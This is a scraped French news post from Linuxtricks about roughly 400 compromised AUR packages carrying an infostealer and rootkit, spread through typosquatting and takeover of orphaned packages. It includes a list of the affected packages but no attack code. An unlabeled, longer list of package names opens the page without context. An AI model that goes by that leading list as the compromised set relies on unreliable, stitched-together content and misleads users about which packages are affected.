filebot47
findpkg-git
firebird
firefox-extension-adnauseam-bin-amo
firmium-desktop-git
firmware-mod-kit
fisher-git
fishui
fishui-git
flashfocus
flatcam-git
flexiblas
flow
flow-pomodoro
flowblade-git
flv2x264
flynarwhal
fmlib
fontweak
forgecode-bin
formidable-bin
fortune-mod-firefly
fpp-git
frame
freemind-git
freeter
frutool
fs2_open-mediavps
fs2-knossos
fspy
fstar-git
ft232r_prog
ftl
fuego-svn
fuel
fusion-icon
fusion-icon-git
futhark-bin
fwlogwatch
g2
g3data
gahshomar
galaxy2
ganyremote
garmindev
gavrasm
gcal
gcccpuopt
gcstar
gcstar-gitlab
gdl
gdlmm
gecode
geekcode
geforcenow-electron
gemistdownloader
get_flash_videos
getlive
gfxbench
ggoban
gimp-plugin-arrow
gist-git
gisto
git-annex-standalone
git-flow-completion-git
git-remote-hg-git
gitflow-avh
gitfs
gitinspector
gitosis-git
gitso
gitter-bin
gkraken
gle-graphics
globalplatform
globalprotect-bin
glosstex
glsl-debugger-git
gmp4
gmt-coast
gmt-cpt-city
gnomato
gnome-battery-bench-git
gnome-contacts-git
gnome-directory-thumbnailer
gnome-pass-search-provider-git
gnome-randr-rust
gnome-rdp
gnome-shell-extension-cpufreq-git
gnome-shell-extension-dynamic-top-bar
gnome-shell-extension-hibernate-status-git
gnome-shell-extension-topicons-plus
gnome-shell-extension-transmission-daemon-git
gnome-shell-extension-x11gestures
gnome-shell-theme-arc-clearly-dark-git
gnome-specimen
gnome-terminal-fedora
gnome-usage-git
gnome-xcf-thumbnailer
gnuplot-git
gnutls3.8.9
gog-the-witcher-2-assassins-of-kings
gogs-git
gohufont-powerline
gopenvpn-git
gopher2600
gopher2600-bin
goqat
gosh
gpicsync
gpshell
gpx-viewer
gr-osmosdr-git
graal-bin
graveman
green-tunnel-bin
greenisland
greetd-wlgreet-git
gridmgr-git
grim-git
grpn
grub-luks-keyfile
grub4dos
grub4dos
gsettings-desktop-schemas-git
gtk-theme-bsm-simple
gtk-theme-metagrip
gtk-theme-windows10-dark
gtk-vnc-gtk2
gtkimageview
gtksetpwc
guake-colors-solarized-git
guile-git
guile-reader
guile-ssh
guiscrcpy
gummy
gummy-git
gxemul
ha-pacemaker-git
hackmatrix-git
halberd
hardcode-tray
harminv
harmony-wad
haskell-asn1-data
haskell-chart
haskell-failure
haskell-hscurses
haskell-hscurses
haskell-hssyck
hattrick_organizer
haunt
haxe-git
hd2u
hdx-512-git
headphones
hearthstone-linux-gui-appimage
hearthstone-linux-gui-bin
hepmc2
hexchat-otr
hfstospell
hifive1-sdk-git
hister-git
hnswlib-git
homeassistant-osagent
homeassistant-supervised
hop
horst
hotlinemiami
howm-x11-git
hp-health
hpgcc
hpoj
htdig
htop-vim-solarized-git
httpry
huawei-stat-e220
hunter
hydownloader-git
hydrapaper-git
hydrus-git
hypervc-qt4
hypr-git
i2c-ch341-dkms
i3-gnome-git
i3bar-river
i3lock-fancy-dualmonitors-git
ianny-bin
ibc
ibm-sw-tpm2
ibus-uniemoji-git
icdiff-git
ice-ssb
ideviceinstaller-git
ifcopenshell-git
igdm
ihaskell-git
ike
ikos
imageglass
img2djvu-git
inadyn
inadyn-mt
indicator-session
infinity-background
infnoise-openssl-git
inform7
inkslides-git
intelmetool-git
intelpwm-udev
interface99
ios-webkit-debug-proxy
ipfs-desktop-bin
ipsw
iptrafvol
iron-heart-git
irssistats
isight-firmware-tools
itop
j4-make-config-git
ja2-stracciatella-git
jasmin
jasp-desktop
java-berkeleydb
java-flexdock
java-qdox
javahelp2
jd-gui
jdk-openj9-bin
jdk11-openj9-bin
jdk17-jetbrains-bin
jdk8-graalvm-bin
jetbrains-mps
jflex
jin
joxi
joy
joycon-git
joymouse
jreen-git
jstock
jzip
k3sup
k4dirstat
kalu-git
kapacitor
kapidox-git
katrain
kdb
kddockwidgets-git
kdevelop-pg-qt-git
keep
keepass-fr
keepass-plugin-qualitycolumn
keepassx2
keeperrl-git
kexi
kicad-library-ab2-git
kiconedit
kimageformats-git
kio_gopher
kiss
kmarkdownwebview
kodi-addon-inputstream-adaptive-git
kokua-secondlife
kompare-git
kookbook
kopano-core
koules
kproperty
krakatau-git
kreport
ktea
kubo-git
kvirc-git
kwin-effects-blur-respect-rounded-decorations-git
kwin-scripts-quarter-tiling-git
kwplayer
lab-bin
ladish
laditools
lash
lastfmlib
latex-digsig
latex-make
latex-mk
lazylpsolverlibs-git
lbench
ledger-udev-bin
legofy-git
leocad-git
lesstif
lexmark_pro700
lib32-egl-wayland
lib32-fftw
lib32-freeimage
lib32-gimp
lib32-gnome-themes-extra
lib32-graphene
lib32-libfmod
lib32-libjson
lib32-libmad
lib32-libreplaygain
lib32-libxpm
lib32-libxxf86dga
lib32-mtdev
lib32-tk
libafterimage
libarcus-git
libbobcat
libcompizconfig-git
libcss-git
libcutefish
libdill
libdivecomputer-git
libevdevc
libffi-static
libfprint-vfs_proprietary-git
libfreenect-git
libgdata
libgtkhtml
libhugetlbfs
libisl15
libjxl-noglycin
libkarma
libkdcraw-git
libkomparediff2-git
libmrss
libnbcompat
libntru
libnxml
libopenaptx-git
libprelude
libptp2
libpurple-carbons-git
libpurple-lurch-git
libpurple-meanwhile
libpuzzle
libquvi
libquvi-scripts
libreoffice-extension-coooder
librep
librep-git
libretro-hatari-enhanced-git
libretro-mame-git
libretro-mednafen-supergrafx-git
libsmi
libspatialindex-git
libtcd
libtrash
libuiohook
libviper
libwapcaplet-git
libxaw3dxft
libxdiff
libxml-ruby
libyami
lightdm-webkit-theme-userdock
lilypond-git
limbo-hib
limesuite-git
linkerd
linphone-desktop-all
linphone-desktop-all-git
linphone-plugin-msx264
linux_logo_archcustom
linux-bcachefs-git
linux-cachyos-deckify-native
linux-cachyos-deckify-native-headers
linux-cachyos-native
linux-cachyos-native-headers
linux-cachyos-native-nvidia-open
linux-cachyos-rc-native
linux-cachyos-rc-native-headers
linux-cachyos-rc-native-nvidia-open
linux-manjaro-xanmod
linux-rc
linux-tool
linux-xanmod-rog
linvst
liri-cmake-shared-git
liri-shell-git
lite
lll
llvm-cbe-git
lorem-ipsum-generator
love09
lowfi-bin
lrexlib-pcre5.1
ls++
lsx
lttng-modules
lua51-sql-sqlite
luazip5.1
lucidvideo
luksipc-git
lure
lv
lxdvdrip
m5rcode
mac-os-lion-cursors
machinarium
madsonic
magicassistant-gtk
magpie-wm
make-3.81
mako-center-git
manuskript
mapbox-studio
marcfs-git
markmywords-git
marytts
maszyna-git
mathsat-5
mato-icons-git
matrixbrandy
maxima-git
mbm-gpsd-pl4nkton-git
mc-skin-modarin-debian
mcp-probe
mcpatcher
me_cleaner-git
menumaker-compiz
mermaid-ascii-git
mermark-editor
mesa-dlss-reflex-git
mesecons-git
mesos
meteo
mictray
mikidown-git
milena
milena-data
milton-git
mime-archpkg
mimic-node-git
minecraft-overviewer
minecraft-overviewer-git
minergate-cli
mingw-w64-adwaita-icon-theme
mingw-w64-geos
mingw-w64-gtk2
mingw-w64-libcroco
mingw-w64-libidn
mingw-w64-libsndfile
mingw-w64-pcre
mingw-w64-sdl
mingw-w64-sdl2_ttf
minimax-bin-hardened
miniongg
minitube
miro-video-converter
mirrorlist-rankmirrors-hook
misuzu-music-bin
mkgmap-svn
mmc-utils-git
mobac-svn
mon2cam-git
mongo-cxx-driver-legacy-0.0-26compat
mono-addins
monochrome
monochrome-git
montecarlo-font
moonshiner
moor-git
mopen
mopidy-moped
mopidy-youtube
mount-gtk
movgrab
mp3guessenc
mpir
mqttfx-bin
ms-office-online
msieve
multimon-ng-git
multiwinia
mxnet
mysqltuner-git
mythes-cs
n-ninja
n1-translator
naemon
naemon-livestatus
natapp
nautilus-folder-icons
nautilus-git
nautilus-mediainfo
nautilus-renamer
ncl
ncursesfm-git
ndyndns
nebuchadnezzar-git
necpp-git
nemerle
neochat-git
neovim-autopairs-git
neovim-gtk-git
neovim-nvim-treesitter
nerf-pi
netmenu
netmon-git
netrik
networkmanager-dispatcher-pdnsd
networkmanager-ssh-git
neuro-karaoke-wrapper-git
neuron-zettelkasten-bin
neuropolitical-ttf
new-api-privacy-filter
new-api-privacy-filter-git
nextcloud-app-audioplayer
nextcloud-app-facerecognition
nextcloud-app-gpoddersync
nextcloud-app-integration-google
nextcloud-app-repod
nextcloud-app-twofactor-gateway
nextcloud-git
nexus-bin
nginx-mod-vts
nhentai-git
nheqminer-cuda-git
nikki
nikola-git
nip2
nixnote2
nixnote2-git
nocodb
noctyra-dotfiles-git
noctyra-meta-git
nodejs-elm
nodejs-forever
nodejs-how2
nodejs-ionic
nodejs-jsdoc
nodejs-webpack
non-daw-git
nordnm
notepad—bin
notify-desktop-git
notion-app-enhanced
nox-bin
nrpe
num-utils
numix-gtk-theme
numix-themes-electric
numix-themes-green
nvdock-bumblebee
nvidia-xrun-git
nwchem
nwchem-bin
nx3-all
ob-xd
ocaml-lambda-term
ocaml-sexplib
ocaml-typerex
ocaml-xmlm
oclint
octave-hg
octave-miscellaneous
octocode
oh-my-git
ohcount
ohcount-git
olivia-git
open-axiom
open-hexagon-git
openav-sorcer-git
opencode-codebase-index-bin
opencorsairlink-git
opendrop
openhab2
openhab3
openms
openmsx-catapult
opennebula
openpyn-nordvpn
openstego
openui5
openxray
opl-synth
optimizevideo-git
oracle-bin
organize-bin
orientdb-community
osmose
osvr-libfunctionality-git
otcl
otf-inconsolata-g-powerline-git
otf-sauce-code-powerline-git
ovras
owncloud-client-git
oxefmsynth
oxygen-gtk3-git
pacforge
pacgem
panopticon-git
pantheon-applications-menu-git
pantheon-print-git
pantheon-session-git
pantum-driver
paper-desktop-bin
papirus-color-scheme
papirus-maia-icon-theme-git
paq8o
parallel-python
pass-cli
pb-for-desktop
pbincli
pcb2gcode
pcsxr-git
pdf2book
pdf4qt-git
pdi-ce
peepdf
pelican-git
pencil-android-lollipop-stencils-git
pencil-material-icons-git
penguin-subtitle-player
perl-css
perl-datetime-format-sqlite
perl-debug-client
perl-getopt-euclid
perl-graph
perl-gtk2-ex-podviewer
perl-gtk2-ex-simple-list
perl-gtk2-gladexml-simple
perl-http-request-ascgi
perl-io-capture
perl-lwp-protocol-http10
perl-lyrics-fetcher
perl-orlite
perl-proc-parallelloop
perl-set-object
perl-term-extendedcolor
perl-test-corpus-audio-mpd
perl-text-aspell
perl-xml-dom
petri-foo
pfstools
pg2ipset-git
pgcli-git
pgl
pgpool-ii
pharo-bin
phonon-qt4
phonon-qt5-vlc
php-blackfire
php-geoip
php-legacy-memcache
php-memcache
php-openswoole-git
php-xdiff
phpdocumentor2
phpredis-git
picom-ftlabs-git
picpuz
pidgin-cmds
pidgin-im-gnome-shell-extension
pidgin-kwallet
pidgin-nudge-svn
pinegrow
pipetoys
pipewire-visualizer-git
pk2cmd-plus
pkgdistcache
pktstat
planck
plank-theme-arc
plasma5-wallpapers-video-git
plex-media-player-custom
plex-media-player-mod
plex-media-player-v2
plex-trakt-scrobbler
plowshare-git
pluma-plugins
plymouth-theme-asphyxia-git
pmount-safe-removal
pmus-git
pnmixer-gtk3
poldi
polkit-qt4
powwow
ppcoin-qt
premake-git
prisma4postgres-bin
profile-sync-daemon-zen
psi-plus-plugins-git
psi-plus-resources-git
pulseaudio-dlna-cygn
pulsemixer-git
purple-facebook-git
pygist-git
pyload-ng
pymacs
pymedusa
pypi-cli
pypiserver
pypy-setuptools
pyrescene-git
python-affine
python-apt
python-argdispatch
python-autopep8-git
python-avalon_framework
python-awkward
python-axolotl-git
python-calmjs
python-celery
python-cerealizer
python-ci-info
python-coolname
python-cu2qu-git
python-dataproperty
python-dbapi-compliance
python-dictobject
python-dj-database-url
python-django-modelcluster
python-django-rest-knox
python-dugong
python-epc
python-fastmcp-slim
python-finnhub-python
python-firebase-admin
python-fmu_manipulation_toolbox
python-future
python-g4f
python-gmpy
python-hist
python-histoprint
python-hsaudiotag3k
python-iminuit
python-iso3166
python-isounidecode
python-isr-git
python-jsmin
python-json2xml
python-kiss-headers
python-luckydonald-utils
python-miio
python-milvus-lite-bin
python-mmcif
python-monotonic
python-mplhep
python-mplhep_data
python-netaudio-git
python-netaudio-lib
python-newspaper4k
python-nipype
python-nodejs-wheel
python-openai-harmony
python-orange
python-pdf2docx
python-piecash
python-pluginmgr
python-poetry-plugin-dotenv
python-privy-git
python-pushbullet.py
python-pychromecast-git
python-pydns
python-pylsp-rope
python-pymilvus
python-pysocks-git
python-quamash-git
python-rembg
python-scikit-hep-testdata
python-single-version
python-sklearn-pandas
python-sqliteschema
python-stagger-git
python-starlette-compress
python-starsessions
python-steamcontroller-git
python-tabledata
python-tarantool
python-tradingeconomics
python-uhi
python-uproot
python-vector
python-xtarfile
python2-appdirs
python2-cffi
python2-chardet
python2-cssselect
python2-ctypes
python2-fusepy
python2-gobject
python2-lazr-uri
python2-mutagen
python2-notify
python2-packaging
python2-paver
python2-pyparsing
python2-simplejson
python2-simpleparse
python2-stomper
python2-twodict-git
python2-xlib
pytomtom
pyxplot
qbittorrent-enhanced-qt5
qconf-git
qemacs
qemu-android-x86
qeven
qhttpengine
qinfo
qlementine
qmdnsengine
qmltermwidget-git
qnapi
qobuz-player-bin
qpitch
qrfcview
qscite
qshntoolsplit
qt-inspector-git
qt-solutions-git
qtum-core
qtvkbd
quack
qucs
quickrdp
quickswitch-i3
qutepart-git
qv2ray-git
qwt-qt4
r-dbplyr
r2-iaito-git
r8101-dkms
rabbitvcs-cli
raccoon
raccoon-git
raceintospace
radare2-bindings-git
radium
rainbarf-git
rarian
ratox-git
rbutil-git
rdm-bin
rdup
reactphysics3d
realtimeconfigquickscan-git
refind-theme-dreary-git
remotemouse
rep-gtk
repoporge
resetmsmice
retibbs-client-git
retrovol
rgain3
rhythmbox-git
rhythmbox-llyrics
rhythmbox-plugin-alternative-toolbar-git
rimworld
rke
rkflashtool
rkward-git
roccat-dkms
rock
rodentbane-git
rog-helper-git
rolo
ros2-arch-deps
ros2-humble-nav2-msgs
rstudio-server-git
rtags
rtags-git
rtbth-dkms
rtf2latex2e
rtorrent-ps
rtorrent-pyro-git
rtspeccy-git
ruah-orch
ruby-actionmailer
ruby-actionview
ruby-activemodel
ruby-activerecord
ruby-blankslate-2
ruby-classifier
ruby-colored
ruby-commander
ruby-compass
ruby-excon
ruby-execjs
ruby-fast-stemmer
ruby-haste
ruby-kramdown-rfc2629
ruby-libvirt
ruby-mpd
ruby-oauth
ruby-parslet-1.5
ruby-pusher-client
ruby-pygments.rb
ruby-railties
ruby-rubysdl
ruby-selenium-webdriver
ruby-sprockets
ruby-sprockets-rails
ruby-thread_safe
ruby-travis
rumor
run-mailcap
runescape-launcher
rxvt-unicode-256xresources
sachesi-bin
sakura-launcher-gui
saleae-logic-beta
salt-git
samba-mounter-git
samsungctl
sandlock
satanic-icon-themes
sawfish-git
sbt-extras-git
scallion
scangearmp-mg3500series
scanssh
scavenger
scm
screenpipe-bin
sdcc-bin
sddm-stellar-theme
sdformat
seahorse-nautilus
selenium-server-standalone
sentry
sequencer64-git
sex
sfarkxtc
sfnt2woff
shadow-tech
shadowgrounds
sheeplifter
shellcheck-git
shellinabox-git
shhmsg
shhopt
shifty-git
shrinkpdf
sickrage-git
sidplay2-libs
signald
silver-searcher-git
sixfireusb-dkms
skanlite-git
slim-unicode
slime-git
slipnet
slipnet-bin
smartsim-git
smenu
smenu-git
smolrtsp
smolrtsp-libevent
snapd-git
snis-git
snowman-git
snry-shell-qs
so-synth-lv2-git
soapyptezuka
socnetv
softethervpn-client-manager
sogo2
solara-kernel-headers
soldat-git
sonar-icon-theme
sonixd
sonosano
sope2
soundpaad-bin
soxt
spigot-plugin-essentials
splashtop-business
spring-ba
sqliteman
sqsh
squirrelmail
sshuttlee
sshuttlee-bin
stable-diffusion-webui-git
staden
staden-io_lib
stag-git
statusnotifier
stegsolve
stencyl
stlarch_font
stompbox-jack-git
streetsofrageremake
stripe-cli
structuresynth
stylelint-config-recommended
subbrute
sublime-music
sublist3r-git
submarine
subprocess
subsync
sunclock
sundtek
svu
sway-xkb-switcher
switchboard-git
sword-svn
sync-my-l2p
syslog-notify
t4kcommon
tack
taipan
taoframework
tarantool
taskunifier
tasmotizer-git
tbs-dvb-drivers
tbsecp3-driver-git-dkms
tcpstat
telepresence
termbox-git
terminusmod
tesseract-gui
test-malicious-nuke
test-malicious-reset
texlive-moderncv-git
textsuggest-git
thinkingrock
thinkwatt
thunar-nextcloud-plugin
thunderbird-conversations
thunderbird-sieve
tiemu
tif22pnm
tiger
tinyemu
tllocalmgr-git
tlpui-git
tnote
toggldesktop
tomighty
toolsched
toontown-rewritten
tor-messenger-bin
tora
torch7-cutorch-git
torch7-git
torch7-image-git
torch7-trepl-git
tortoisehg-hg
touchhle
touchosc-bin
toybox
tpp
trace-cmd-git
tracks
transcreen
translate-shell-git
transmission-gtk-git
truestudio
trytond
tsm
tsocks-tools
ttcp
ttf-consolas-powerline
ttf-dejavu-emojiless
ttf-dejavu-sans-mono-powerline-git
ttf-essays
ttf-impallari-dosis
ttf-lcsmith-typewriter
ttf-material-design-icons-git
ttf-mutant-emoji
ttf-pizzadude-bullets
ttf-roboto-fontconfig
ttf2eot
tunacode-cli
tup-git
tuxboot-git
tvnamer
tweeny
typing-game-cli
ucsf-chimera
udev-browse-git
udfclient
uget-integrator
ukui-notification-daemon
undistract-me-git
uni2ascii
unifi-beta
unyaffs
uplink-hib
upower-nocritical
urbanbrawl-wad
urho3d
urjtag-git
usbmount
vapoursynth-preview-git
vbam-git
vcp-git
vdirsyncer-git
vdrift
vectr
veracrypt-git
verso-git
vertx
vidalia
vidcutter
video-contact-sheet
viennacl
vim-clang-complete-git
vim-delimitmate
vim-easymotion
vim-fortran
vim-gitgutter
vim-hexman
vim-indent-object
vim-lighttpd
vim-live-latex-preview
vim-manpageview
vim-molokai
vim-molokai-git
vim-octave
vim-omlet
vim-pandoc-syntax-git
vim-pathogen-git
vim-perl-support
vim-pythonhelper
vim-solidity
vim-vital
vinetto
violetland-git
virtscreen
vlc-arc-dark-git
vms-empire
vnote
vocalinux-git
volumeicon-git
voquill-gpu
vte-legacy
vtigercrm
vuze-extreme-mod
vuze-plugin-countrylocator
vuze-plugin-mldht
wallpaper-generator-next
wally
watchman
watsup
wavbreaker
wayland-static
wcalc
wds
we-layerd-git
webilder-gtk-patched
webui-aria2-git
wechat-devtools
weex
wemux-git
wesnoth-git
whatsie-git
whisper2tr
whisper2tr-git
whitebox
whysynth
windowmaker-git
windows2usb-git
wine-nine
wineasio-git
wings2
wire-desktop
wiringpi-git
wlroots-nvidia
wmtop
word-snatchers-cli
workbench
workbuddy-bin
writefreely
writefull-bin
wrystr-git
wsjtx-beta
wunderline
wxbase
x2vnc-no-xinerama
xapian-omega
xarchiver-assume-name
xcursor-gt3
xerox-phaser-6000-6010
xevdevserver
xf86-input-cmt
xf86-input-joystick
xf86-input-mtrack
xf86-input-mtrack-git
xf86-input-wizardpen
xfce-theme-bluebird
xforms
xorg-transset
xorg-xfsinfo
xorg-xinit-git
xosview
xplot
xpra-html5
xray-domain-list-community
xsp
xspin
xss-lock-git
xsvg
xsynth-dssi
yafaray
yafaray-git
yarg
yersinia
yii
yofrankie
yokadi
yt6801-dkms
yy
z-push
zafiro-icon-theme
zaproxy-weekly
zathura-gruvbox-git
zdoom-git
zelda-roth-se
zenbound2
zenmonitor
zenphoto
zenpower-dkms
zephyr
zeroinstall-injector
zerx-lab-dida-bin
zerx-lab-zed-nightly-bin
zing-17-bin
zing-21-bin
zing-8-bin
zinnia-python
zrythm-git
zsdx
zxtune-git

Alerte rouge sur l'AUR : 400 paquets Arch Linux infectés !

✇Actualités - Linuxtricks.fr
Bonjour à tous,

Aujourd'hui, on va parler d'une actu cyber qui touche directement l'écosystème Linux, et plus particulièrement une distribution très populaire : Arch Linux !

Si vous utilisez Arch, vous connaissez forcément l'AUR (Arch User Repository). C'est ce dépôt communautaire gigantesque où l'on trouve tout ce qui n'est pas dans les dépôts officiels. C'est pratique, c'est riche, mais c'est aussi un vecteur de risque important.

En effet, l'alerte a été donnée : plus de 400 paquets sur l'AUR ont été compromis.
Merci à MrSlayers pour ce lien dans le sujet sécurité du Discord : https://discourse.ifin.network/t/400-aur-packages-compromised-with-infostealer-and-rootkit/577

Concrètement, qu'est ce qui s'est-il passé ?
Les attaquants ont utilisé deux techniques bien connues dans les attaques de la "supply chain" :
- Le typosquatting : Ils créent des paquets avec des noms presque identiques à des logiciels très populaires (par exemple, firfox vs firefox), espérant qu'un utilisateur fasse une faute de frappe en tapant sa commande d'installation.
- La récupération de paquets orphelins : Sur l'AUR, un paquet peut être abandonné par son mainteneur d'origine. N'importe qui peut alors en revendiquer la maintenance. Les attaquants ont simplement récupéré des paquets sains mais abandonnés, puis ont poussé une mise à jour malveillante.

Il a été intégré dans ces paquets un cocktail détonnant :
- un infostealer pour voler vos identifiants, sessions de navigateur et clés SSH, etc...
- un rootkit pour prendre le contrôle de la machine

Et ça s'installe en root évidemment puisqu'une mise à jour ou l'installation d'un paquet ... nécessite les droits root :)

L'équipe de sécurité d'Arch a réagi en nettoyant les dépôts, mais cela soulève de vraies questions de fond.

À travers cet incident, que pensez-vous de la sécurité des dépôts gérés par la communauté ?
Pensez-vous que le modèle de confiance "a posteriori" (on nettoie après coup) est viable pour des dépôts aussi massifs que l'AUR ? Ou les PPA d'Ubuntu ? Ou COPR de Fedora Project ?
Comment trouvez-vous l'équilibre entre la liberté et la richesse d'un dépôt communautaire et la nécessité d'une sécurité rigoureuse ?

J'avoue que cet incident, que je ne pouvais pas ignorer, mérite qu'on se pose ces questions sur la sécurité de nos systèmes Linux !
Ces systèmes sont de plus en plus utilisés, et pupulaires, alors ils sont aussi des cibles nouvelles pour les pirates !

N'hésitez pas à réagir en commentaires.

Au passage, voici la liste des paquets concernés :
Code TEXT :
    123pan-bin
    1code
    8192eu-dkms-git
    actual-ai
    adblock2privoxy
    aion-git
    albion-online-launcher-bin
    alienfx
    alvr
    android-signapk
    android-signapk-gui
    annobin
    ansible-language-server
    antfs-cli-git
    anythingllm-appimage
    anythingllm-cli-bin
    apk-installer-gui
    apm_planner-bin
    apothem
    apple-music-desktop
    arch-update-vai
    archjh
    archlinux-themes-slim
    archmage
    archtex-git
    artanis-git
    astro-editor-appimage
    autohand-cli
    autolabel
    autologin
    azurlaneautoscript
    bcachefs-kernel-dkms-git
    beebeep
    bitcoin-core-git
    blinkenlib
    blueproximity-py3-git
    booklore
    brow6el
    brow6el-git
    canon-pixma-mg3000-complete-fixed
    cartridge-cli
    ccase-bin
    ccl-git
    cgminer
    charcoal
    cinny-desktop-system-tray
    clai
    clang19
    clash-mi
    cling-git
    cmuclmtk
    cnijfilter-common
    codenomad-bin
    codeql-cli-bin
    cogpit-bin
    colorhug-client
    colorz
    compiler-rt19
    compizconfig-python
    coolreader
    cowdancer
    cutefish-calculator
    cutefish-core
    cutefish-dock
    cutefish-filemanager
    cutefish-icons
    cutefish-launcher
    cutefish-qt-plugins
    cutefish-screenlocker
    cutefish-screenshot
    cutefish-settings
    cutefish-statusbar
    cutefish-wallpapers
    cvs-feature-bin
    cynthiune.app
    dagu-bin
    datatype99
    deheader
    dep
    dh-python
    difi
    difi-bin
    doctoc
    dots-hyprland-fork-git
    dvdrip
    dyad-bin
    easy_spice
    edconv-bin
    eisl
    epson-inkjet-printer-escpr2-clos-bin
    exodus-wallet-bin
    exoduswallet
    farmmod-hub
    fastoggenc
    fastjet
    fatx
    fcitx5-pinyin-sougou-dict-git
    ffmpeg-bitrate-stats
    ffmpeg-quality-metrics
    findpkg-git
    firefox-extension-adnauseam-bin-amo
    firmium-desktop-git
    fishui
    fishui-git
    flexiblas
    flynarwhal
    fmlib
    forgecode-bin
    formidable-bin
    frame
    ftl
    frutool
    futhark-bin
    gdl
    gdlmm
    git-annex-standalone
    gnome-contacts-git
    gnutls3.8.9
    gopher2600
    gopher2600-bin
    gosh
    gpx-viewer
    graveman
    green-tunnel-bin
    greetd-wlgreet-git
    gtkimageview
    guile-reader
    gummy
    gummy-git
    hackmatrix-git
    harmony-wad
    headphones
    hearthstone-linux-gui-appimage
    hearthstone-linux-gui-bin
    hepmc2
    hister-git
    hnswlib-git
    horst
    hydownloader-git
    hydrus-git
    i3bar-river
    ianny-bin
    ibm-sw-tpm2
    ihaskell-git
    imageglass
    inadyn
    indicator-session
    infnoise-openssl-git
    interface99
    ios-webkit-debug-proxy
    ipfs-desktop-bin
    ipsw
    iron-heart-git
    jasp-desktop
    jd-gui
    k3sup
    kdb
    kddockwidgets-git
    kexi
    kiss
    ktea
    kookbook
    kproperty
    kreport
    latex-digsig
    lazylpsolverlibs-git
    lesstif
    lib32-egl-wayland
    libafterimage
    libbobcat
    libcutefish
    libffi-static
    libgdata
    libjxl-noglycin
    libquvi
    libquvi-scripts
    libretro-hatari-enhanced-git
    libxdiff
    libxml-ruby
    libyami
    linux-cachyos-deckify-native
    linux-cachyos-native
    linux-cachyos-rc-native
    linux-tool
    liri-cmake-shared-git
    lite
    lll
    llvm-cbe-git
    lowfi-bin
    "ls++"
    lucidvideo
    m5rcode
    magpie-wm
    mako-center-git
    manuskript
    maszyna-git
    mathsat-5
    matrixbrandy
    mcp-probe
    mcpatcher
    mermaid-ascii-git
    mermark-editor
    mesa-dlss-reflex-git
    mimic-node-git
    mingw-w64-geos
    mingw-w64-libsndfile
    minimax-bin-hardened
    misuzu-music-bin
    mono-addins
    monochrome
    monochrome-git
    moor-git
    mount-gtk
    mopen
    n1-translator
    naemon
    naemon-livestatus
    natapp
    nebuchadnezzar-git
    neovim-autopairs-git
    neovim-nvim-treesitter
    nerf-pi
    neuro-karaoke-wrapper-git
    new-api-privacy-filter
    new-api-privacy-filter-git
    nexus-bin
    nginx-mod-vts
    nhentai-git
    nocodb
    noctyra-dotfiles-git
    "notepad---bin"
    nox-bin
    nrpe
    nwchem-bin
    ob-xd
    octocode
    opencode-codebase-index-bin
    openui5
    opl-synth
    optimizevideo-git
    oracle-bin
    pacforge
    paper-desktop-bin
    paq8o
    parallel-python
    pass-cli
    pelican-git
    penguin-subtitle-player
    perl-proc-parallelloop
    perl-set-object
    perl-term-extendedcolor
    phonon-qt5-vlc
    php-geoip
    php-memcache
    php-openswoole-git
    php-xdiff
    picom-ftlabs-git
    pidgin-kwallet
    pipetoys
    pipewire-visualizer-git
    premake-git
    prisma4postgres-bin
    profile-sync-daemon-zen
    pymacs
    pypiserver
    pypy-setuptools
    python-argdispatch
    python-awkward
    python-calmjs
    python-celery
    python-ci-info
    python-coolname
    python-cu2qu-git
    python-dataproperty
    python-dbapi-compliance
    python-dictobject
    python-dj-database-url
    python-fastmcp-slim
    python-finnhub-python
    python-firebase-admin
    python-fmu_manipulation_toolbox
    python-future
    python-g4f
    python-hist
    python-histoprint
    python-hsaudiotag3k
    python-iminuit
    python-iso3166
    python-isr-git
    python-jsmin
    python-json2xml
    python-luckydonald-utils
    python-milvus-lite-bin
    python-mmcif
    python-monotonic
    python-mplhep
    python-mplhep_data
    python-netaudio-git
    python-netaudio-lib
    python-newspaper4k
    python-nipype
    python-nodejs-wheel
    python-openai-harmony
    python-pdf2docx
    python-piecash
    python-pluginmgr
    python-poetry-plugin-dotenv
    "python-pushbullet.py"
    python-pychromecast-git
    python-pylsp-rope
    python-pymilvus
    python-pysocks-git
    python-rembg
    python-scikit-hep-testdata
    python-sklearn-pandas
    python-sqliteschema
    python-starlette-compress
    python-starsessions
    python-steamcontroller-git
    python-tabledata
    python-tarantool
    python-tradingeconomics
    python-uhi
    python-uproot
    python-vector
    python-xtarfile
    python2-appdirs
    python2-fusepy
    python2-lazr-uri
    python2-mutagen
    python2-notify
    python2-packaging
    python2-paver
    python2-pyparsing
    python2-simplejson
    python2-simpleparse
    python2-stomper
    python2-twodict-git
    python2-xlib
    qhttpengine
    qlementine
    qmdnsengine
    qnapi
    qobuz-player-bin
    qtum-core
    quickswitch-i3
    r-dbplyr
    reactphysics3d
    repoporge
    retibbs-client-git
    rhythmbox-git
    rimworld
    rog-helper-git
    ros2-humble-nav2-msgs
    ruah-orch
    ruby-excon
    ruby-kramdown-rfc2629
    ruby-selenium-webdriver
    runescape-launcher
    sakura-launcher-gui
    sandlock
    screenpipe-bin
    sdcc-bin
    seahorse-nautilus
    shhmsg
    shhopt
    slipnet
    slipnet-bin
    smenu
    smenu-git
    smolrtsp
    smolrtsp-libevent
    snry-shell-qs
    soapyptezuka
    solara-kernel-headers
    sonosano
    soundpaad-bin
    sshuttlee
    sshuttlee-bin
    stompbox-jack-git
    stripe-cli
    stylelint-config-recommended
    subbrute
    sublist3r-git
    subprocess
    subsync
    svu
    sway-xkb-switcher
    tack
    tarantool
    tesseract-gui
    thunar-nextcloud-plugin
    thunderbird-conversations
    tinyemu
    tlpui-git
    torch7-git
    touchhle
    touchosc-bin
    transcreen
    tsm
    ttf-material-design-icons-git
    tunacode-cli
    typing-game-cli
    ukui-notification-daemon
    vapoursynth-preview-git
    vbam-git
    verso-git
    vidcutter
    vim-easymotion
    vim-gitgutter
    vim-indent-object
    vim-molokai
    vim-solidity
    vim-vital
    vocalinux-git
    voquill-gpu
    wallpaper-generator-next
    wayland-static
    we-layerd-git
    whatsie-git
    whisper2tr
    whisper2tr-git
    windowmaker-git
    wine-nine
    wire-desktop
    word-snatchers-cli
    workbench
    workbuddy-bin
    wrystr-git
    wsjtx-beta
    xf86-input-mtrack-git
    xorg-xfsinfo
    xplot
    xpra-html5
    xray-domain-list-community
    yarg
    yt6801-dkms
    yy
    zathura-gruvbox-git
    zerx-lab-dida-bin
    zerx-lab-zed-nightly-bin
    zing-8-bin
    zing-17-bin
    zing-21-bin
    zinnia-python
    zsdx

MINISFORUMS MS-R1 : Configuration et specs

